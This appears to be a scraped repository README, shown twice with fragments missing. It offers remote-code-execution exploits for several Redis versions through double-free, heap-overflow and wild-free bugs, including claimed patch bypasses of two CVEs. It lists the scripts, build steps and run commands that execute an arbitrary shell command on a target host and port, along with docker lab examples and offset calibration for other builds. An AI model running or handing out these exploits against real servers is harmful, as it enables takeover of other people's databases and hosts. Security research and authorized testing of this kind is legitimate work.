Non-destructive RCE exploits for Redis 6.2.22, 7.4.9, 8.6.4 via the stream consumer-group shared-NACK double free (a patch bypass of CVE-2026-25243), 8.8.0 via a TDigest heap-overflow in bundled RedisBloom, and 8.8.1 via a TopK wild free (a patch bypass of CVE-2026-25589).
A_exploit_stock.py — exploit for 6.2.22 (redis:6.2.22 image)P74_exploit.py (+ P74_g2.py) — exploit for 7.4.9 (redis:7.4)P86_exploit.py — exploit for 8.6.4 (redis:8.6)P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — exploit for
8.8.0 (redis:8.8.0, via bundled-module TDigest heap overflow)T88_exploit.py — exploit for 8.8.0 and 8.8.1 (via bundled-module
TopK wild free; bypass of the incomplete CVE-2026-25589 fix — works on
RedisBloom v8.8.0 and v8.8.2)A_lib.py, G2_arbread.py — shared helpers (must sit next to the exploits)crc64.c/h, crcspeed.c/h — sources for libcrc64.so (Redis CRC64,
needed to build valid RESTORE payloads)calibrate.sh — compute binary offsets for non-official buildsP74_loop.sh, P86_run.sh — boot-retry wrappersgcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
Requires: Python 3.6+ (no pip packages), gcc.
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
password — omit (or pass "") for no-auth targetstrigger — shell command, default writes proof under /data/pwned*Examples:
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off etc.; see --help), or run
./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] to generate
them. Wrong offsets crash the target server (out-of-range reads).EVAL, RESTORE, XGROUP
(8.8.0/8.8.1 also need the bundled RedisBloom module, present by default).HARDENING.md for details.
The 8.8.0 exploit leaves ~2000 zeroed tdigest structs + a corrupted
oracle key — do not FLUSHALL/SAVE the target afterwards.TopK_Destroy still reads all k
pointers past the undersized heap in both RedisBloom v8.8.0 and v8.8.2).For authorized testing only.
1 commits
Python
83.5%
C
14.5%
Shell
2.0%
Non-destructive RCE exploits for Redis 6.2.22, 7.4.9, 8.6.4 via the stream consumer-group shared-NACK double free (a patch bypass of CVE-2026-25243), 8.8.0 via a TDigest heap-overflow in bundled RedisBloom, and 8.8.1 via a TopK wild free (a patch bypass of CVE-2026-25589).
A_exploit_stock.py — exploit for 6.2.22 (redis:6.2.22 image)P74_exploit.py (+ P74_g2.py) — exploit for 7.4.9 (redis:7.4)P86_exploit.py — exploit for 8.6.4 (redis:8.6)P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — exploit for
8.8.0 (redis:8.8.0, via bundled-module TDigest heap overflow)T88_exploit.py — exploit for 8.8.0 and 8.8.1 (via bundled-module
TopK wild free; bypass of the incomplete CVE-2026-25589 fix — works on
RedisBloom v8.8.0 and v8.8.2)A_lib.py, G2_arbread.py — shared helpers (must sit next to the exploits)crc64.c/h, crcspeed.c/h — sources for libcrc64.so (Redis CRC64,
needed to build valid RESTORE payloads)calibrate.sh — compute binary offsets for non-official buildsP74_loop.sh, P86_run.sh — boot-retry wrappersgcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
Requires: Python 3.6+ (no pip packages), gcc.
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
password — omit (or pass "") for no-auth targetstrigger — shell command, default writes proof under /data/pwned*Examples:
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off etc.; see --help), or run
./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] to generate
them. Wrong offsets crash the target server (out-of-range reads).EVAL, RESTORE, XGROUP
(8.8.0/8.8.1 also need the bundled RedisBloom module, present by default).HARDENING.md for details.
The 8.8.0 exploit leaves ~2000 zeroed tdigest structs + a corrupted
oracle key — do not FLUSHALL/SAVE the target afterwards.TopK_Destroy still reads all k
pointers past the undersized heap in both RedisBloom v8.8.0 and v8.8.2).For authorized testing only.
1 commits
Python
83.5%
C
14.5%
Shell
2.0%